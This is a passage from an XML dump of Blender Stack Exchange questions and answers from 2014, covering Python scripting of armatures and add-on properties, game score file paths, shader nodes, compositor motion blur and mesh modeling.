  <row Id="10891" PostTypeId="1" AcceptedAnswerId="10893" CreationDate="2014-06-01T22:27:10.290" Score="3" ViewCount="926" Body="&lt;p&gt;I create an armature an all the bones through a script, then parent them. But the bones change the order in the list after setting the parents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This script shows that each bone index changes after the modifying the parents&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import mathutils&#xA;&#xA;print('HELLO')&#xA;#Clear all&#xA;bpy.ops.object.select_all(action='SELECT')&#xA;bpy.ops.object.delete()&#xA;&#xA;#create armature&#xA;armature_da = bpy.data.armatures.new(&quot;Armature&quot;)&#xA;armature_ob = bpy.data.objects.new(&quot;Armature&quot;, armature_da)&#xA;bpy.context.scene.objects.link(armature_ob)&#xA;bpy.context.scene.objects.active = armature_ob&#xA;&#xA;&#xA;bpy.ops.object.mode_set(mode='EDIT')&#xA;&#xA;for i in range(10):&#xA;    bone = bpy.context.active_object.data.edit_bones.new(str(i))&#xA;    bone.head = mathutils.Vector((.01,0,0)) * i&#xA;    bone.tail = bone.head + mathutils.Vector((0,0,0.01))&#xA;bpy.ops.object.mode_set(mode='OBJECT')&#xA;print('creation',bpy.context.active_object.data.bones.keys())&#xA;&#xA;print('first parenting')&#xA;&#xA;armature = bpy.context.scene.objects.active &#xA;bpy.ops.object.mode_set(mode='EDIT')&#xA;bones = armature.data.edit_bones&#xA;for i in range(9):&#xA;    editBone = bones[9-i]&#xA;#    editBone.parent = bones[9-i-1]   &#xA;&#xA;#    editBone = bones[i]&#xA;    editBone.parent = bones[i+1]   &#xA;&#xA;print('pre object',bpy.context.active_object.data.edit_bones.keys())&#xA;bpy.ops.object.mode_set(mode='OBJECT')&#xA;print('pos object',bpy.context.active_object.data.bones.keys())&#xA;&#xA;print('second parenting')&#xA;&#xA;armature = bpy.context.scene.objects.active &#xA;bpy.ops.object.mode_set(mode='EDIT')&#xA;bones = armature.data.edit_bones&#xA;for i in range(9):&#xA;#    editBone = bones[9-i]&#xA;    editBone.parent = bones[9-i-1]   &#xA;&#xA;    editBone = bones[i]&#xA;#    editBone.parent = bones[i+1]   &#xA;&#xA;print('pre object',bpy.context.active_object.data.edit_bones.keys())&#xA;bpy.ops.object.mode_set(mode='OBJECT')&#xA;print('pos object',bpy.context.active_object.data.bones.keys())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I using a incorrect way to set parents?&#xA;Is there a way to preserve the bone indexes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am aware that I could use the names to reference the bones from the array, but I prefer to stick to indexes.&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2014-06-01T23:05:18.203" Title="Bone index change after parenting" Tags="&lt;python&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10893" PostTypeId="2" ParentId="10891" CreationDate="2014-06-01T23:05:18.203" Score="2" Body="&lt;p&gt;No, you can't preserve bone indices, outside of edit-mode, bones are order by their hierarchy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its best to reference bones by name rather then index, &lt;em&gt;(Or at least get their index once, outside of edit-mode)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-06-01T23:05:18.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10894" PostTypeId="1" AcceptedAnswerId="10901" CreationDate="2014-06-02T00:08:04.620" Score="2" ViewCount="476" Body="&lt;p&gt;What kind of node is this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G6moB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;Image from this &lt;a href=&quot;http://nixart.wordpress.com/2012/05/22/blender-cycles-toon-material-node-setup-update/&quot; rel=&quot;nofollow noreferrer&quot;&gt;blog post&lt;/a&gt;&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="599" LastEditDate="2014-06-02T06:53:47.637" LastActivityDate="2014-06-02T06:53:47.637" Title="What kind of node is this?" Tags="&lt;nodes&gt;&lt;node-editor&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10895" PostTypeId="1" CreationDate="2014-06-02T00:23:09.620" Score="6" ViewCount="3080" Body="&lt;p&gt;I have a stop-motion video I am working on, and I want to add motion blur to the character of the video. The character is the only thing that moves, yet if I use the Vector Blur node in the compositor, it applies a blur to every object. If I set min-blur up too high, it doesn't allow the character to have motion-blur, but it I have it too low, it makes everything blurry. Is there a way to fix this or do I need to use another node to add motion blur? I am trying to simulate what After Effects does when you add the Motion Blur effect to footage. Here's an image of my trouble. I have used a split-viewer so you can see the difference between original and current motion blur settings. (You'll have to view the image larger, you can barely see it in the small preview)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0cv4h.jpg&quot; alt=&quot;Everything turning blurry&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1828" LastEditorUserId="2217" LastEditDate="2014-08-05T18:13:15.703" LastActivityDate="2015-01-23T14:20:31.123" Title="Fake Motion Blur on Video Footage using Compositor" Tags="&lt;compositor&gt;&lt;blur&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10896" PostTypeId="2" ParentId="10894" CreationDate="2014-06-02T00:26:54.550" Score="1" Body="&lt;p&gt;The nodes are in a Node Group and are labeled. If you trace the wires from the Color, Shadow, and MidShadow names, you'll see that they are just changing the values of the Emmission, Emmission, and Math nodes respectively. The Normal node is under Add&gt;Vector&gt;Normal.&lt;/p&gt;&#xA;" OwnerUserId="1828" LastActivityDate="2014-06-02T00:26:54.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10897" PostTypeId="1" AcceptedAnswerId="10902" CreationDate="2014-06-02T00:40:51.933" Score="1" ViewCount="1096" Body="&lt;p&gt;What is the best way to combine these two shaders? When I use the &quot;add shader&quot;, it doesn't just combine the shaders, but it masses up the colors and the lighting. What would be some of the best ways to do that?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="29" LastEditDate="2014-06-02T07:36:10.240" LastActivityDate="2014-06-02T07:36:10.240" Title="How to combine &quot;toon-diffuse&quot; shader and &quot;toon glossy&quot; shader?" Tags="&lt;nodes&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10898" PostTypeId="1" CreationDate="2014-06-02T00:49:30.773" Score="0" ViewCount="66" Body="&lt;p&gt;I have animated a skeleton (that uses circles as the IK targets for the bones) and mesh with a walk cycle using the automatic keyframe insertion. However, the keys are ending up on the circles instead of the underlying skeleton. Is there anyway to animate the underlying bones using the targets?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: &lt;a href=&quot;http://web.ics.purdue.edu/~jmacnak/dl/journey.zip&quot; rel=&quot;nofollow&quot;&gt;files&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3705" LastEditorUserId="3705" LastEditDate="2014-06-02T20:52:39.823" LastActivityDate="2014-06-02T20:52:39.823" Title="Animation keys on IK target instead of underlying skeleton" Tags="&lt;animation&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-04-27T22:55:07.440" ContentLicense="CC BY-SA 3.0" />
  <row Id="10899" PostTypeId="2" ParentId="10897" CreationDate="2014-06-02T00:55:22.393" Score="3" Body="&lt;p&gt;I reccomend a &lt;em&gt;Mix Shader&lt;/em&gt;. If you want it to combine it in a different way, you can always attach nodes like &lt;em&gt;Color Ramp&lt;/em&gt; or &lt;em&gt;Fresnel&lt;/em&gt; to the &lt;code&gt;Fac&lt;/code&gt; value to change the output.&lt;/p&gt;&#xA;" OwnerUserId="1828" LastActivityDate="2014-06-02T00:55:22.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10900" PostTypeId="1" AcceptedAnswerId="10907" CreationDate="2014-06-02T04:31:04.907" Score="3" ViewCount="346" Body="&lt;p&gt;I'm trying to model the Mathematica Spikey (pictured below) for a gift. So far, I have a rhombic hexecontahedron ('rhex') (link is &lt;a href=&quot;http://mathworld.wolfram.com/RhombicHexecontahedron.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;), as shown below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NiGuI.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can bend the edges of the rhex inward to get the image below? I would like to keep the &quot;spikey&quot; aspect of it. Is there an existing tool to do this? (Pardon my explanation/English)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DdW29.jpg&quot; alt=&quot;Mathematica Logo&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2695" LastEditorUserId="599" LastEditDate="2014-06-03T01:33:38.150" LastActivityDate="2014-06-03T07:49:02.380" Title="How to model a tessilated hyperbolic dodecahedron?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10901" PostTypeId="2" ParentId="10894" CreationDate="2014-06-02T06:43:59.847" Score="3" Body="&lt;p&gt;Nodes can be combined to a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Composite_Nodes/Node_Groups&quot; rel=&quot;nofollow noreferrer&quot;&gt;Node Group&lt;/a&gt;, the parameters you listed are part of a &lt;em&gt;Group Input&lt;/em&gt; in the old (pre 2.67) style &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.67/Node_Editor&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Group Interface&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each important in and output of a group of nodes can be wired to the group in- and output nodes to make them accessible when the group is collapsed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The new style looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NTjxj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;Single Node nonsense example&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can collapse the view of a node group using the up-arrow button from the menu header, and expand it by clicking the icon right to the nodes title.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-06-02T06:43:59.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10902" PostTypeId="2" ParentId="10897" CreationDate="2014-06-02T07:29:40.610" Score="2" Body="&lt;p&gt;In the material properties you could setup a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/Shaders&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Mix-Shader&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YyZ7M.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or switch to the Node-Editor where it is more clearly arranged:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/02jCv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-06-02T07:29:40.610" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10903" PostTypeId="1" AcceptedAnswerId="10908" CreationDate="2014-06-02T07:53:08.407" Score="0" ViewCount="1477" Body="&lt;p&gt;I have a scores text file (game scores kept here) that gets created on completion of game level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am installing users downloads of my game into &lt;code&gt;C:\Program Files\&lt;/code&gt; folder, but programs folder is not writable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Python logic (below) in my game levels creates a text file in the existing installation folder, where my other game blend files are stored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I test the download, no scores saved, because the file installs into Windows &lt;code&gt;C:\Program Files\&lt;/code&gt; folder (which is of course fine, it's the right place for a game, but I lament).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I want to get the script below to not just create a &lt;code&gt;scores.txt&lt;/code&gt; file in the existing folder, but to create it in &lt;code&gt;documents&lt;/code&gt; (&lt;strong&gt;not&lt;/strong&gt; &lt;code&gt;My Documents/&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My installer will add a blank folder in &lt;code&gt;documents&lt;/code&gt; whose name is known, lets call it &lt;code&gt;blurb\&lt;/code&gt;, then Python does exactly what it did before, but create the folder (and of course fetch/get/load) in &lt;code&gt;documents\blurb\scores.txt&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This I assume is where it all happens:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;scores = _loadScoresFromFile(&quot;scores.txt&quot;)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bge import logic&#xA;import pickle&#xA;&#xA;def _saveScoresToFile(list_scores, string_filepath):&#xA;&#xA;    file = open(string_filepath, &quot;wb&quot;)&#xA;    pickle.dump(list_scores, file)&#xA;    file.close()&#xA;&#xA;def _loadScoresFromFile(string_filepath):&#xA;&#xA;    try:&#xA;        file = open(string_filepath, &quot;rb&quot;)&#xA;    except IOError:&#xA;        print(&quot;Failed to load scores from {}&quot;.format(string_filepath))&#xA;        return []&#xA;&#xA;    return pickle.load(file)&#xA;&#xA;scores = _loadScoresFromFile(&quot;scores.txt&quot;)&#xA;&#xA;def display():&#xA;&#xA;    scene = logic.getCurrentScene()&#xA;    writer = scene.objects[&quot;Writer&quot;]&#xA;&#xA;    name = logic.globalDict[&quot;name&quot;]&#xA;    score = logic.globalDict[&quot;score&quot;]&#xA;    score2 = logic.globalDict[&quot;score2&quot;]&#xA;&#xA;    tup_entry = (name, score, score2)&#xA;    scores.append(tup_entry)&#xA;    scores.sort(key=lambda entry: entry [1])&#xA;&#xA;    new_entry_idx = scores.index(tup_entry)&#xA;&#xA;    for entry, i in zip(scores, range(len(scores))):&#xA;        new_writer = scene.addObject(&quot;Writer_new&quot;, writer)&#xA;        new_writer[&quot;Text&quot;] = &quot;{:d} - {:s} - {:2}:{:2}&quot;.format(i + 1, entry[0], entry[1], entry[2])&#xA;&#xA;        new_writer.worldPosition.y -= 0.105 * i&#xA;        new_writer.localScale = writer.localScale&#xA;&#xA;        if i == new_entry_idx:&#xA;            new_writer.state = 1&#xA;&#xA;    _saveScoresToFile(scores, &quot;scores.txt&quot;)&#xA;&#xA;def setName():&#xA;&#xA;    scene = logic.getCurrentScene()&#xA;    name = scene.objects [&quot;Name&quot;]&#xA;&#xA;    logic.globalDict[&quot;name&quot;] = name[&quot;Text&quot;].strip()&#xA;&#xA;def setScore():&#xA;&#xA;    cont = logic.getCurrentController()&#xA;    score = cont.owner&#xA;&#xA;    logic.globalDict[&quot;score&quot;] = score[&quot;Text&quot;]&#xA;&#xA;def setScore2():&#xA;&#xA;    cont = logic.getCurrentController()&#xA;    score = cont.owner&#xA;&#xA;    logic.globalDict[&quot;score2&quot;] = score[&quot;Text&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3707" LastEditorUserId="1363" LastEditDate="2014-06-02T09:21:09.770" LastActivityDate="2014-06-02T10:52:05.510" Title="expandpath() ?? can python reach out to an external directory on users comp?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;&lt;windows&gt;" AnswerCount="1" CommentCount="4" ClosedDate="2014-06-03T01:26:27.887" ContentLicense="CC BY-SA 3.0" />
  <row Id="10906" PostTypeId="1" CreationDate="2014-06-02T10:41:36.093" Score="2" ViewCount="191" Body="&lt;p&gt;How can I get equivalent python code for a created blend file from blender. I want to generate java code for corresponding python code of a blender. I am unable to get python code of blender file either inside or outside the blender.&lt;/p&gt;&#xA;" OwnerUserId="3709" LastEditorUserId="12" LastEditDate="2014-06-03T14:18:28.483" LastActivityDate="2014-06-03T14:18:28.483" Title="Translate blend file to python" Tags="&lt;blend-files&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10907" PostTypeId="2" ParentId="10900" CreationDate="2014-06-02T10:46:27.070" Score="4" Body="&lt;p&gt;You can try to use the Subdivision Surface modifier with a high edge crease on the sharp edges to achieve this effect. This will probably not be the mathematically correct surface, but it will give a good visual result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make it work, first you have to make sure your Rhex is one single mesh, consisting only of the shell of the volume and make sure there are no double vertices in the mesh (go into edit mode, select everything, press &lt;kbd&gt;W&lt;/kbd&gt; and select &lt;code&gt;Remove Doubles&lt;/code&gt;).&#xA;For testing I modeled the mesh by eye. This is what I started with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nhR9z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you need to give the edges you want to make sharp a high edge crease. Select them and press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt; to change their Edge Crease. Press &lt;kbd&gt;1&lt;/kbd&gt; on your keyboard and then &lt;kbd&gt;Enter&lt;/kbd&gt; to give the edges a Crease of 1.0 whih will make them completely sharp when using the Subdivision Surface later. The edges should turn pink:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ThXvS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tip for easy selection: If you are in edge selection mode (press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt; and select 'Edge' to get there) you can select one of the sharp edges and press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; to bring up the 'Select Similar' menu, and choosing 'Face Angles'. Now all edges with a similar angle between the connected faces are selected. This should be all your sharp edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that your mesh is set up, you can add the Subdivision Surface modifier. Go to the Modifier tab in the properties panel, click on 'Add Modifier' and select 'Subdivision Surface' (third from the bottom in the second column). Set the subdivision level to something like 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rHKJ3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result should look something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/293H1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One final note: The modifiers are only changing the visual appearance of the mesh, not the underlying mesh itself. If you want the mesh to be altered, click the 'Apply' button of the modifier. But after that you can not make any changes to the modifier anymore, so keep a copy of your unapplied object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have uploaded my version of the rhex &lt;a href=&quot;http://pasteall.org/blend/29570&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; for reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; For even better visual results you should enable smooth shading and also add an 'Edge Split' modifier to your model.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastEditorUserId="3401" LastEditDate="2014-06-03T07:49:02.380" LastActivityDate="2014-06-03T07:49:02.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10908" PostTypeId="2" ParentId="10903" CreationDate="2014-06-02T10:52:05.510" Score="1" Body="&lt;p&gt;Python is able to access the entire file system, except paths that require elevated rights (such as &lt;code&gt;C:\Program files\&lt;/code&gt; and &lt;code&gt;C:\Windows\&lt;/code&gt;). It can also access them if you run your it as administrator, but you would usually not want that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to get the user directory path, use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from os.path import expanduser&#xA;home = expanduser(&quot;~&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It also works on Windows. Example result: &lt;code&gt;'C:\\Users\\CoDEmanX'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the &lt;em&gt;Documents&lt;/em&gt; folder is not necessarily called like that, if you really want the actual path, you'll need to do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import ctypes.wintypes&#xA;CSIDL_PERSONAL= 5       # My Documents&#xA;SHGFP_TYPE_CURRENT= 0   # Want current, not default value&#xA;&#xA;buf= ctypes.create_unicode_buffer(ctypes.wintypes.MAX_PATH)&#xA;ctypes.windll.shell32.SHGetFolderPathW(0, CSIDL_PERSONAL, 0, SHGFP_TYPE_CURRENT, buf)&#xA;&#xA;print(buf.value)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For me it prints &lt;code&gt;D:\Dokumente&lt;/code&gt;, because I set it up this way on my system.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-06-02T10:52:05.510" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10909" PostTypeId="2" ParentId="10906" CreationDate="2014-06-02T11:34:17.837" Score="1" Body="&lt;p&gt;Blender has no facility to write a &lt;code&gt;.blend&lt;/code&gt; file as a series of Python instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For limited uses you could write your own script (Its been done before for rigify armatures for eg), but for the entire blend file this becomes a large task.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-06-02T11:34:17.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10910" PostTypeId="1" AcceptedAnswerId="10919" CreationDate="2014-06-02T12:09:04.900" Score="8" ViewCount="6536" Body="&lt;p&gt;Iam searching for a method to get a EnumProperty by the type of the object (Lamp, Geo, Camera) thats selected in the viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. If the selected object is a lamp, it would be nice the enum dynamically adds new properties to the existing ones, like Energy and Color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    &quot;name&quot;: &quot;tester&quot;,&#xA;    &quot;description&quot;: &quot;&quot;,&#xA;    &quot;author&quot;: &quot;&quot;,&#xA;    &quot;version&quot;: (0, 0, 1),&#xA;    &quot;blender&quot;: (2, 7, 0),&#xA;    &quot;location&quot;: &quot;3D View &amp;gt; Toolbox&quot;,&#xA;    &quot;warning&quot;: &quot;&quot;, # used for warning icon and text in addons panel&#xA;    &quot;wiki_url&quot;: &quot;&quot;,&#xA;    &quot;tracker_url&quot;: &quot;&quot;,&#xA;    &quot;category&quot;: &quot;Test&quot;&#xA;    }&#xA;&#xA;&#xA;import bpy&#xA;import re&#xA;import math&#xA;from mathutils import Vector&#xA;from math import pi&#xA;&#xA;from bpy.types import Panel&#xA;from bpy.props import (StringProperty,&#xA;                       BoolProperty,&#xA;                       IntProperty,&#xA;                       FloatProperty,&#xA;                       FloatVectorProperty,&#xA;                       EnumProperty,&#xA;                       PointerProperty,&#xA;                       )&#xA;from bpy.types import (Operator,&#xA;                       AddonPreferences,&#xA;                       PropertyGroup,&#xA;                       )&#xA;&#xA;&#xA;# ------------------------------------------------------------------------&#xA;#    store properties in the active scene&#xA;# ------------------------------------------------------------------------&#xA;&#xA;class mySettings(PropertyGroup):&#xA;&#xA;    # apply values to LOC ROT SCL&#xA;    TransformationProperty_ = EnumProperty(&#xA;        name=&quot;Apply Data to:&quot;,&#xA;        description=&quot;Apply Data to attribute.&quot;,&#xA;        items=(('LOC', &quot;Location&quot;, &quot;&quot;),&#xA;               ('ROT', &quot;Rotation&quot;, &quot;&quot;),&#xA;               ('SCL', &quot;Scale&quot;, &quot;&quot;)),&#xA;        default='LOC',&#xA;        )&#xA;&#xA;&#xA;# ------------------------------------------------------------------------&#xA;#    myTool in objectmode&#xA;# ------------------------------------------------------------------------&#xA;&#xA;class myTool_panel_objectMode:&#xA;    bl_label = &quot;myTool&quot;&#xA;    bl_space_type = &quot;VIEW_3D&quot;&#xA;    bl_region_type = &quot;TOOLS&quot;&#xA;    #bl_context = &quot;objectmode&quot;&#xA;&#xA;    @classmethod&#xA;    def poll(self,context):&#xA;        #scene = context.scene&#xA;        return context.active_object is not None&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        scene = context.scene&#xA;        mytool = scene.myTool&#xA;&#xA;        row = layout.row()&#xA;        col = layout.column(align=True)&#xA;        rowsub = col.row(align=True)&#xA;        rowsub.prop(mytool, &quot;TransformationProperty_&quot;, text=&quot;&quot;)&#xA;&#xA;&#xA;# ------------------------------------------------------------------------&#xA;#     classes for new tab system since 2.7.0&#xA;# ------------------------------------------------------------------------&#xA;&#xA;class myTool_ObjectMode(Panel, myTool_panel_objectMode):&#xA;    bl_category = &quot;Test&quot;&#xA;    bl_idname = &quot;my_objectmode&quot;&#xA;    bl_context = &quot;objectmode&quot;&#xA;&#xA;&#xA;# ------------------------------------------------------------------------&#xA;# register and unregister functions&#xA;# ------------------------------------------------------------------------&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;    bpy.types.Scene.myTool = PointerProperty(type=mySettings)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;    bpy.types.Scene.myTool&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in Advance,&lt;br/&gt;&#xA;Christian&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Thanks for this great explanation CoDEmanX!&lt;/strong&gt; Code works nicely and logic makes sense to me. Also thanks for your BTW - never thougt about Blender/Python conventions - nice to know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For those who wants a &lt;strong&gt;multiple selection callback&lt;/strong&gt;, Ive updated the code a bit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    &quot;name&quot;: &quot;tester&quot;,&#xA;    &quot;description&quot;: &quot;&quot;,&#xA;    &quot;author&quot;: &quot;&quot;,&#xA;    &quot;version&quot;: (0, 0, 3),&#xA;    &quot;blender&quot;: (2, 70, 0),&#xA;    &quot;location&quot;: &quot;3D View &amp;gt; Toolbox&quot;,&#xA;    &quot;warning&quot;: &quot;&quot;, # used for warning icon and text in addons panel&#xA;    &quot;wiki_url&quot;: &quot;&quot;,&#xA;    &quot;tracker_url&quot;: &quot;&quot;,&#xA;    &quot;category&quot;: &quot;Test&quot;&#xA;}&#xA;&#xA;import bpy&#xA;import re&#xA;import math&#xA;from mathutils import Vector&#xA;from math import pi&#xA;&#xA;from bpy.props import (StringProperty,&#xA;                       BoolProperty,&#xA;                       IntProperty,&#xA;                       FloatProperty,&#xA;                       FloatVectorProperty,&#xA;                       EnumProperty,&#xA;                       PointerProperty,&#xA;                       )&#xA;from bpy.types import (Panel,&#xA;                       Operator,&#xA;                       AddonPreferences,&#xA;                       PropertyGroup,&#xA;                       )&#xA;&#xA;&#xA;# ------------------------------------------------------------------------------------------------&#xA;# get object type list&#xA;# ------------------------------------------------------------------------------------------------&#xA;&#xA;def get_object_type_list(object_list):&#xA;    objectTypes = []&#xA;    for i in object_list:&#xA;        objectTypes.append(bpy.data.objects[i.name].type)&#xA;&#xA;    return list(set(objectTypes))&#xA;&#xA;# ------------------------------------------------------------------------&#xA;#    store properties in the active scene&#xA;# ------------------------------------------------------------------------&#xA;&#xA;def my_settings_callback(scene, context):&#xA;&#xA;    items = [&#xA;        ('LOC', &quot;Location&quot;, &quot;&quot;),&#xA;        ('ROT', &quot;Rotation&quot;, &quot;&quot;),&#xA;        ('SCL', &quot;Scale&quot;, &quot;&quot;),&#xA;    ]&#xA;&#xA;    # get selection&#xA;    selection = bpy.context.selected_objects&#xA;&#xA;    # get selection type list&#xA;    selection_types = get_object_type_list(selection)&#xA;&#xA;    if len(selection_types) == 1:&#xA;&#xA;        # check for lamps&#xA;        if selection_types[0] == 'LAMP':&#xA;            items.append(('NRG', &quot;Energy&quot;, &quot;&quot;))&#xA;            items.append(('COL', &quot;Color&quot;, &quot;&quot;))&#xA;&#xA;    return items&#xA;&#xA;&#xA;class MySettings(PropertyGroup):&#xA;&#xA;    # apply values to LOC ROT SCL&#xA;    transform = EnumProperty(&#xA;        name=&quot;Apply Data to:&quot;,&#xA;        description=&quot;Apply Data to attribute.&quot;,&#xA;        items=my_settings_callback&#xA;        )&#xA;&#xA;&#xA;# ------------------------------------------------------------------------&#xA;#    myTool in objectmode&#xA;# ------------------------------------------------------------------------&#xA;&#xA;class OBJECT_PT_my_panel(Panel):&#xA;    bl_idname = &quot;OBJECT_PT_my_panel&quot;&#xA;    bl_label = &quot;My Panel&quot;&#xA;    bl_space_type = &quot;VIEW_3D&quot;&#xA;    bl_region_type = &quot;TOOLS&quot;&#xA;    bl_category = &quot;TESTER&quot;&#xA;    bl_context = &quot;objectmode&quot;&#xA;&#xA;    